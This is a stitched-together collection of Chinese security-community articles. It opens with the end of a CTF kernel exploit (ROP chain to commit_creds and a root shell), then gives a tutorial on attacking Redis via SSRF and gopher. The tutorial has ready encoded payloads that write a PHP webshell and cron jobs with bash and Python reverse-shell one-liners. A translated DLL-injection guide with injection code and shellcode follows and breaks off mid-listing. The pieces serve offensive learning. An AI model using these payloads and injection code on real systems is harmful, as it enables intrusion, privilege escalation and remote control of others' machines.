rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;
puts("[*] spray sk_buff to hijack pipe_buffer...");
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// for gdb attach only
printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
sleep(5);
puts("[*] trigger fake ops->release to hijack RIP...");
for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}
运行即可完成提权，相较于官方最初给出的解法而言成功率会高很多，据悉解出来的队伍中大部分也是利用这种解法完成解题 | 社区文章 |
Orange在BH大会的paper上面这么说的:
Protocols that are suitable to smuggle
HTTP based protocol:
Elastic, CouchDB, Mongodb, Docker
Text-based protocol:
FTP, SMTP, Redis, Memcached
Ph在[文章](https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html)里面也提到过，redis的协议是简单的协议流，关于这一点可以查看redis的官方解释:<https://redis.io/topics/protocol>
在长亭的这篇[文章](https://blog.chaitin.cn/gopher-attack-surfaces)使用gopher攻击redis的流程是这样的(ricterz大大这里没截图):
0x01. redis-server启动的时候监听6378端口: redis-server /etc/redis/redis.conf --port 6378
0x02. 运行 socat -v tcp-listen:6379,fork tcp-connetc:localhost:6378(相当于6379和6378建立一个tcp隧道，而redis-server监听的是6378端口)
0x03. 然后使用redis-cli攻击redis，使用socat来抓取攻击的payload
## 写个一句话
测试redis版本: 2.8.4(新版改了）
使用redis-server来写shell是这样的步骤:
redis-cli -h 127.0.0.1 flushall
redis-cli -h 127.0.0.1 config set dir /var/www
redis-cli -h 127.0.0.1 config set dbfilename shell.php
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
redis-cli -h 127.0.0.1 save
在socat可以得到以下数据流(取其中一部分)：
可以显然看到，每行都是以`\r`结尾的，这里redis的协议是以CRLF结尾(官方文档):
> Additionally RESP is able to represent a Null value using a special
> variation of Bulk Strings or Array as specified later.
> In RESP different parts of the protocol are always terminated with "\r\n"
> (CRLF).
所以，在转换的时候，要把`\r`转换为`%0d%0a`，提取其中的payload：
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/var/www\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$3\r
web\r
$18\r
<?php phpinfo();?>\r
*1\r
$4\r
save\r
参考joychou写cron的脚本转换，python转换脚本如下:
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
如上的写shell数据流经过编码如下(注意php一句话，经过上面转换还是尖括号，但是使用curl发送的时候要把一句话的两个尖括号和`;`和`?`url编码，然后使用curl直接发送如下，我也不知道为啥`$`还要编码，知道的同学请告知，谢谢）:
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%248%0d%0a/var/www%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3C%3Fphp phpinfo()%3B%3F%3E%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
然后上面的payload在存在ssrf的时候，使用发送之前要再url编码一次，发送即可得到shell。
gopher%3A%2F%2F127.0.0.1%3A6378%2F_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%25248%250d%250a%2Fvar%2Fwww%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253C%253Fphp%20phpinfo()%253B%253F%253E%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
## 写定时任务
测试环境：
ubuntu 14.04.5 LTS
CentOS 6.7
#### bash 反弹
在两个系统下直接crontab -e编辑定时任务:
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下不会反弹成功，CentOS可以反弹成功。
#### Python反弹:
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ubuntu和Linux均反弹成功。
### /etc/crontab
使用上面两个payload，注意这里定时任务需要加user
*/1 * * * * root bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
在ubuntu下，bash反弹失败，python反弹成功。
在CentOS下，两个均成功。
### /var/spool/cron/root
同样使用上面两个payload反弹shell:
在Ubuntu下，两个均失败。
在CentOS下，两个均成功。
### /var/spool/cron/crontabs/root
(Centos默认没有这个路径），所以这个是ubuntu测试：
bash反弹失败
python反弹成功
综合以上来说:
Centos的定式任务在`/var/spool/cron/root`
Ubuntu定时任务`/var/spool/cron/crontabs/root`
<https://joychou.org/web/hackredis-enhanced-edition-script.html>相当于恬不知耻的复制了大佬的文章。
另外测试redis里面写shell，由于使用redis写crontab的时候，创建的文件权限是644，ubuntu无法执行，
写入/etc/crontab的时候，由于存在乱码，所以会导致ubuntu不能正确识别，导致定时任务失败。
1. 如果写`/etc/crontab`，由于存在乱码，语法不识别，会导致ubuntu不能正确识别，导致定时任务失败。
2. 如果写`/var/spool/cron/crontabs/root`，权限是644，ubuntu不能运行。
**所以ubuntu下使用redis写crontab是无法成功反弹shell的** 。
如果只能写文件，想写crontab反弹shell，对于CentOS系来说:
1. 写`/etc/crontab`文件
2. 使用python反弹shell脚本
## redis写定时任务
下面这个是从<https://joychou.org/web/phpssrf.html>这里搬来的代码，出来的结果，同样需要对其中的`$`编码:
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open('/Users/xxx/Desktop/1.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r，将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行，空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp.replace('$', '%24')
攻击的时候时候，使用的是这样的exp:
config set dir /var/spool/cron
config set dbfilename root
set www "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"
save
经过编码之后，得到的exp:
gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0awww%0d%0a%2455%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0d%0a*1%0d%0a%244%0d%0asave%0d%0a
如果存在ssrf，可以攻击redis，上面exp的再经过http编码即可攻击成功。
感谢以下各位大神的博客，这文章基本是东搬一点，西挪一点，算是一个总结。文章里面如果有什么问题，请各位表哥拍砖 。＝。
* <https://www.hugeserver.com/kb/install-redis-centos/>
* <https://joychou.org/web/phpssrf.html>
* <https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html>
* <http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/>
* <https://blog.chaitin.cn/gopher-attack-surfaces/> | 社区文章 |
# 【技术分享】DLL注入那些事
##### 译文声明
本文是翻译文章，文章来源：blog.deniable.org
原文地址：<http://blog.deniable.org/blog/2017/07/16/inject-all-the-things>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在本文中，我们将向读者全面介绍各种DLL注入技术。所谓DLL注入，本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。不过，后来恶意软件也常用这种方式来干坏事。因此，这意味着从安全的角度来看，我们必须知道DLL注入是如何工作的。
之前，当我开始开发Red
Team的定制工具（为了模拟不同类型的攻击者）时，我完成了这个小项目的大部分代码，并将该项目命名为“injectAllTheThings”。如果你想看一些使用DLL注入的具体示例，请访问[这里](https://attack.mitre.org/wiki/Technique/T1055)。如果你想了解DLL注入，该项目也会很有帮助。实际上，我已经在一个单一的Visual
Studio项目中组合了多种DLL注入技术（实际上是7种不同的技术），它们都有32位和64位版本，并且非常便于阅读和理解：每种技术都有自己单独的源文件。
以下是该工具的输出，给出了所有已经实现的方法。
根据[@SubTee](https://twitter.com/subtee)的说法，DLL注入是“没什么大不了”的。我同意这种观点，但是，DLL注入远不止加载DLL这么简单。
你虽然可以使用经过Microsoft签名的二进制代码来加载DLL，但是却无法附加到某个进程来利用其内存。大多数渗透测试人员实际上不知道什么是DLL注入以及它是如何工作的，主要是因为[Metasploit](https://www.metasploit.com/)可以代劳的事情太多了。他们一直在盲目地使用它。我相信，学习这个“怪异的”内存操纵技术的最佳地点，不是安全论坛，而是黑客论坛。如果你加入了红队，你可能需要鼓捣这种东西，除非你安于使用他人提供的工具。
大多时候，我们首先会使用一项高度复杂的技术展开攻击，如果我们没有被发现，才会开始降低复杂程度。这就是说，我们会先将二进制文件丢到磁盘上，然后使用DLL注入。
这篇文章将全面介绍DLL注入，同时也是[GitHub](https://github.com/fdiskyou/injectAllTheThings)托管的该项目的“帮助文档”。
**概述**
****
DLL注入简单来说就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库（DLL）的形式。为什么可以做到这一点？因为DLL（如UNIX中的共享库）是在运行时根据需要来进行加载。在这个项目中，我将只使用DLL，但是实际上还可以使用其他各种形式（任何PE文件、shellcode
/ assembly等）来“注入”代码，这些在恶意软件中非常常见。
此外，请记住，您需要具有适当级别的权限才能鼓捣其他进程的内存。但是，这里不会探讨受和[保护的进程](https://www.microsoftpressstore.com/articles/article.aspx?p=2233328&seqNum=2)、[Windows特权级别](https://msdn.microsoft.com/en-gb/library/windows/desktop/bb648648\(v=vs.85\).aspx)（由Vista引入）有关的内容——这是一个完全不同的主题。
如上所述，DLL注入可以用于合法目的。例如，防病毒和终端安全解决方案就需要使用这些技术将自己的软件代码/挂钩放置到系统上的“所有”运行的进程中。这使他们能够在运行过程中监视每个进程的行为，从而更好地保护我们。但是，该技术也可以用于恶意的目的。一般来说，常用技术是注入“lsass”进程以获取密码哈希值。恶意软件也广泛使用代码注入技术，例如，运行shellcode、运行PE文件或将DLL加载到另一个进程的内存中以隐藏自身，等等。
**基础知识**
我们将使用MS Windows
API完成各种注入，因为这个API提供了非常丰富的功能，允许我们连接和操纵其他进程。自从微软第一个版本的操作系统以来，DLL一直是MS
Windows的基石。事实上，MS Windows
所有API都涉及DLL。最重要的一些DLL有“Kernel32.dll”（其中包含用于管理内存、进程和线程的函数）、“User32.dll”（主要是用户界面函数）和“GDI32.dll”（用于绘制图形和文字显示）。
您可能奇怪为什么会提供这样的API，为什么微软给我们这么好的一套函数来操作进程的内存？实际上，它们的最初用途是扩展应用程序的功能。例如，一家公司创建一个了应用程序，并希望允许其他公司扩展或增强应用程序。所以，DLL最初是用于合法的目的。此外，DLL还可用于项目管理，节省内存，实现资源共享等。
下图讲解DLL注入技术的流程。
就像上面看到的那样，DLL注入分为四个步骤：
1.附加到目标/远程进程
2.在目标/远程进程内分配内存
3.将DLL路径或DLL复制到目标/远程进程内存中
4.让进程执行DLL
所有这些步骤都是通过调用一组API函数来实现的。每种技术都需要一定的设置和选项才能完成。实际上，每种技术都有自己的优点和缺点。
**技术详解**
****
我们有多种方法来让进程执行我们的DLL。最常见的方法就是使用“CreateRemoteThread()”和“NtCreateThreadEx()”。但是，我们无法将DLL作为参数传递给这些函数。我们必须提供一个保存执行起始点的内存地址。为此，我们需要完成内存分配，使用“LoadLibrary()”加载我们的DLL，复制内存等等。
这个项目我称之为'injectAllTheThings'（取这个名字，只是因为我讨厌‘injector’的名字，加上GitHub上已经有太多的‘injector’了），它有7种不同的技术。当然，这些技术都不是我发明的。我只是使用了这七种技术（是的，还有更多）。一些API具有详细的文档说明（如“CreateRemoteThread()”），有些API则没有相关的文档说明（如'NtCreateThreadEx()'）。以下是已经实现的技术的完整列表，它们全部适用于32位和64位。
CreateRemoteThread()
NtCreateThreadEx()
QueueUserAPC
SetWindowsHookEx()
RtlCreateUserThread()
通过SetThreadContext()获取代码洞
反射型DLL
其中，可能有一些是你早就接触过的技术。当然，这不是所有DLL注入技术的完整列表。如我所说，还有更多的技术，但是并没有包括在这里。这里给出的，是到目前为止，我在一些项目中使用过的技术。有些是稳定的，有些是不稳定的——当然，之所以不稳定，可能是由于我的代码的原因，而不是这些技术本身的原因。
**LoadLibrary()**
如[MSDN](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175\(v=vs.85\).aspx)所述，“LoadLibrary（）”函数的作用是将指定的模块加载到调用进程的地址空间中。而指定的模块可能会导致加载其他模块。
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
lpFileName [in]
The name of the module. This can be either a library module (a .dll file) or
an executable module (an .exe file). (…)
If the string specifies a full path, the function searches only that path for
the module.
If the string specifies a relative path or a module name without a path, the
function uses a standard search strategy to find the module (…)
If the function cannot find the module, the function fails. When specifying a
path, be sure to use backslashes (), not forward slashes (/). (…)
If the string specifies a module name without a path and the file name
extension is omitted, the function appends the default library extension .dll
to the module name. (…)
换句话说，它只需要一个文件名作为其唯一的参数。也就是说，我们只需要为DLL的路径分配一些内存，并将执行起始点设置为“LoadLibrary()”函数的地址，将路径的内存地址作为参数传递就行了。
实际上，这里最大的问题是“LoadLibrary()”使用程序来将加载的DLL添加到注册表中。意思是它可以轻松被检测到，但是实际上许多终端安全解决方案仍然无法检测到它们。无论如何，正如我之前所说，DLL注入也有合法的使用情况，所以…另外，请注意，如果DLL已经加载了'LoadLibrary()'，它将不会被再次执行。如果使用反射型DLL注入，当然没有这个问题，因为DLL没有被注册。如果使用反射DLL注入技术而不是使用“LoadLibrary()”，会将整个DLL加载到内存中。然后找到DLL的入口点的偏移量来加载它。如果你愿意，还可以设法将其隐藏起来。取证人员仍然可以在内存中找到你的DLL，只是这不会那么容易而已。Metasploit使用了大量的DLL注入，但是大多数终端解决方案都能搞定这一切。如果你喜欢狩猎，或者你属于“蓝队”，可以看看[这里](https://www.defcon.org/html/defcon-20/dc-20-speakers.html#King)和[这里](https://www.defcon.org/html/defcon-20/dc-20-speakers.html#King)。
顺便说一句，如果你的终端安全软件无法搞定所有这一切…你可尝试使用一些[游戏反欺骗引擎](https://www.nostarch.com/gamehacking)。一些反欺诈游戏的反rootkit功能比某些AV更加先进。
**连接到目标/远程进程**
首先，我们需要得到要与之进行交互的进程的句柄。为此，我们可以使用API调用[OpenProcess()](https://msdn.microsoft.com/en-gb/library/windows/desktop/ms684320\(v=vs.85\).aspx)。
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
如果您阅读MSDN上的文档，就会明白，为此需要具备一定的访问权限。访问权限的完整列表可以在[这里](https://msdn.microsoft.com/en-gb/library/windows/desktop/ms684880\(v=vs.85\).aspx)找到。
这些可能因MS Windows版本而异，不过几乎所有技术都需要用到以下内容。
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
**在目标/远程进程内分配内存**
为了给DLL路径分配内存，我们需要使用[VirtualAllocEx()](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890%28v=vs.85%29.aspx)。如MSDN所述，VirtualAllocEx()可以用来预留、提交或更改指定进程的虚拟地址空间内的内存区域的状态。该函数将其分配的内存初始化为零。
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
我们需要完成类似下面的工作：
// calculate the number of bytes needed for the DLL's pathname
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
// allocate space in the target/remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
此外，您还可以使用“[GetFullPathName()](https://msdn.microsoft.com/en-us/library/windows/desktop/aa364963%28v=vs.85%29.aspx)”API调用。但是，我不会在整个项目中使用这个API调用。不过，这只是个人偏好的问题。
如果要为整个DLL分配空间，则必须执行以下操作：
hFile = CreateFileW(pszLibFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
dwSize, = GetFileSize(hFile, NULL);
PVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
**
**
**将DLL路径或DLL复制到目标/远程进程的内存中**
现在只需要使用[WriteProcessMemory()](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx)API调用将DLL路径或完整的DLL复制到目标/远程进程。
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
这就像：
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
如果我们要复制完整的DLL，就像在反射DLL注入技术中那样，则还需要另外一些代码，因为这需要将其读入内存，然后再将其复制到目标/远程进程。
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL);
WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
如前所述，通过使用反射DLL注入技术，并将DLL复制到内存中，DLL就不会被注册到进程中。
这稍微有点复杂，因为需要在内存中加载DLL时取得它的入口点。作为反射DLL项目用到的“LoadRemoteLibraryR()”函数可以为我们完成这些工作。如果你想查看源码的话，可以访问这里。
需要注意的一点是，我们要注入的DLL需要使用适当的include和options进行编译，使其与ReflectiveDLLInjection方法相适应。'injectAllTheThings'项目包括名为'rdll_32.dll
/ rdll_64.dll'的DLL，您可以使用它来完成这些工作。
****
**让进程执行DLL**
**CreateRemoteThread()**
CreateRemoteThread()是一种经典和最受欢迎的DLL注入技术。另外，它的说明文档也是最全面的。
它包括以下步骤：
1.用OpenProcess()打开目标进程
2.通过GetProcAddress()找到LoadLibrary()的地址
3.通过VirtualAllocEx()为目标/远程进程地址空间中的DLL路径预留内存
4.使用WriteProcessMemory()将DLL路径写入前面预留的内存空间中
5.使用CreateRemoteThread()创建一个新线程，该线程将调用LoadLibrary()函数，以DLL路径名称作为参数
如果浏览MSDN上的[CreateRemoteThread()](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437%28v=vs.85%29.aspx)文档，会发现我们需要一个指向由线程执行的、类型为LPTHREAD_START_ROUTINE的应用程序定义函数的指针，它实际上是远程进程中线程的起始地址。
这意味着为了执行我们的DLL，只需要给我们的进程发出指示，让它来完成就行了。这样就简单了。
完整的步骤如下所示。
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);
// Allocate space in the remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
// Copy the DLL's pathname to the remote process address space
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
// Get the real address of LoadLibraryW in Kernel32.dll
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
// Create a remote thread that calls LoadLibraryW(DLLPathname)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
完整的源代码，请参阅CreateRemoteThread.cpp文件。
**NtCreateThreadEx()**
另一个选择是使用[NtCreateThreadEx()](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtCreateThread.html)。这是一个未公开的ntdll.dll函数，在将来它可能会消失或发生变化。这种技术实现起来有点复杂，因为我们需要使用一个结构体（见下文）作为参数传递给它，而使用另一个结构体接收来自它的数据。
struct NtCreateThreadExBuffer {
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};
[这里](http://securityxploded.com/ntcreatethreadex.php)有一篇对该调用的详细说明。这种方法与CreateRemoteThread()方法比较接近。
PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status = funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF,
NULL,
hProcess,
pfnThreadRtn,
(LPVOID)pszLibFileRemote,
FALSE,
NULL,
NULL,
NULL,
NULL
);
完整的源代码，请参阅t_NtCreateThreadEx.cpp文件。
**QueueUserAPC()**
对于前面的方法，有一个替代：使用[QueueUserAPC()](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684954%28v=vs.85%29.aspx)函数。
如MSDN所述，这个调用“将用户模式异步过程调用（APC）对象添加到指定线程的APC队列。”
下面是具体定义。
DWORD WINAPI QueueUserAPC(
_In_ PAPCFUNC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
);
pfnAPC [in]
A pointer to the application-supplied APC function to be called when the
specified thread performs an alertable wait operation. (…)
hThread [in]
A handle to the thread. The handle must have the THREAD_SET_CONTEXT access
right. (…)
dwData [in]
A single value that is passed to the APC function pointed to by the pfnAPC
parameter.
所以，如果我们不想创建自己的线程，那么可以使用QueueUserAPC()来劫持目标/远程进程中的现有线程。也就是说，调用此函数将在指定的线程上对异步过程调用进行排队。
我们可以使用真正的APC回调函数代替LoadLibrary()。这里的参数实际上可以指向注入的DLL文件名的指针。
DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);
当你尝试这种技术的时候，你可能会注意到，这与MS
Windows执行APC的方式有关。但是，这里没有查看APC队列的调度器，这意味着，只有当线程变为可警示状态时，队列才会被检查。
这样，我们就可以劫持每一个线程了，具体如下。
BOOL bResult = Thread32First(hSnapshot, &threadEntry);
while (bResult)
{
bResult = Thread32Next(hSnapshot, &threadEntry);
if (bResult)
{
if (threadEntry.th32OwnerProcessID == dwProcessId)
{
threadId = threadEntry.th32ThreadID;
wprintf(TEXT("[+] Using thread: %in"), threadId);
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
if (hThread == NULL)
wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...n"));
else
{
DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);
if (!dwResult)
wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...n"));
else
wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().n"));
CloseHandle(hThread);
}
}
}
}
我们这样做，主要是想让一个线程变为可警示状态。
顺便说一句，很高兴看到这种技术被[DOUBLEPULSAR](https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/)应用。
完整的源代码，请参见“t_QueueUserAPC.cpp”文件。
**SetWindowsHookEx()**
为了使用这种技术，我们首先需要了解一下MS Windows钩子的工作原理。简单来说，钩子就是一种拦截事件并采取行动的方式。
你可能会猜到，会有很多不同类型的钩子。其中，最常见的是WH_KEYBOARD和WH_MOUSE。是的，你可能已经猜到了，它们可以用来监控键盘和鼠标的输入。
[SetWindowsHookEx()](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx)的作用是“将应用程序定义的钩子装到钩子链中。”
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
idHook [in]
Type: int
The type of hook procedure to be installed. (…)
lpfn [in]
Type: HOOKPROC
A pointer to the hook procedure. (…)
hMod [in]
Type: HINSTANCE
A handle to the DLL containing the hook procedure pointed to by the lpfn
parameter. (…)
dwThreadId [in]
Type: DWORD
The identifier of the thread with which the hook procedure is to be
associated. (…)
MSDN上一个有趣的评论指出：
“SetWindowsHookEx可以用于将DLL注入到另一个进程中。32位DLL不能被注入到64位进程中，同时，64位DLL也不能被注入到32位进程中。如果应用程序需要在其他进程中使用钩子，则需要使用一个32位应用程序调用SetWindowsHookEx将32位DLL注入32位进程中，或者使用64位应用程序调用SetWindowsHookEx来把64位DLL注入64位进程。32位和64位DLL必须具有不同的名称。”
请大家务必记住这一点。
下面是取自具体实现中的一段代码。
GetWindowThreadProcessId(targetWnd, &dwProcessId);
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);
我们需要知道，发生的每个事件都将通过一个钩子链，这是一系列可以在事件中运行的过程。SetWindowsHookExe()要做的基本上就是如何将自己的钩子放入钩子链中。
上面的代码需要用到要安装的钩子类型（WH_KEYBOARD）、指向过程的指针、具有该过程的DLL的句柄以及将要挂钩的线程的ID。
为了获得指向程序的指针，我们需要首先使用LoadLibrary()调用加载DLL。然后，调用[SetWindowsHookEx()](https://wikileaks.org/ciav7p1/cms/page_6062133.html)，并等待我们想要的事件发生（这里而言就是按一个键）。一旦相应的事件发生，我们的DLL就会被执行。
完整的源代码，请参阅t_SetWindowsHookEx.cpp文件。
**RtlCreateUserThread()**
[RtlCreateUserThread()](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html)是一个未公开的API调用。它的设置几乎与CreateRemoteThread()以及后面介绍的NtCreateThreadE()完全相同。
实际上，RtlCreateUserThread()会调用NtCreateThreadEx()，这意味着RtlCreateUserThread()是NtCreateThreadEx()的封装。所以，这里没有什么新玩意。但是，我们可能只想使用RtlCreateUserThread()，而不是NtCreateThreadEx()。即使后者发生了变动，我们的RtlCreateUserThread()仍然可以正常工作。
我们知道，[mimikatz](http://blog.gentilkiwi.com/mimikatz)和Metasploit都使用[RtlCreateUserThread()](http://blog.gentilkiwi.com/mimikatz)。如果你有兴趣的话，可以看看[这里](https://github.com/gentilkiwi/mimikatz/blob/d5676aa66cb3f01afc373b0a2f8fcc1a2822fd27/modules/kull_m_remotelib.c#L59)和[这里](https://github.com/rapid7/meterpreter/blob/6d43284689240f4261cae44a47f0fb557c1dde27/source/common/arch/win/remote_thread.c)。
所以，如果mimikatz和Metasploit正在使用RtlCreateUserThread()…是的，那些家伙都了解自己的代码…按照他们的“建议”，使用RtlCreateUserThread()——特别是，如果你打算鼓捣一些比简单的“injectAllTheThings”程序更复杂的事情的时候。
完整的源代码，请参阅t_RtlCreateUserThread.cpp。
**SetThreadContext()**
这实际上是一个很酷的方法。通过在目标/远程进程中分配一大块内存，以便将特制代码注入目标/远程进程。而该代码是负责加载DLL的。
下面给出的是32位的代码。
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for return address)
0x9c, // pushfd (save flags and registers)
0x60, // pushad
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (placeholder for DLL path name)
0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (placeholder for LoadLibrary)
0xff, 0xd0, // call eax (call LoadLibrary)
0x61, // popad (restore flags and registers)
0x9d, // popfd
0xc3 // ret
对于64位代码，没有找到任何可用的代码，只好自己动手了，具体如下。
0x50, // push rax (save rax)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for return address)
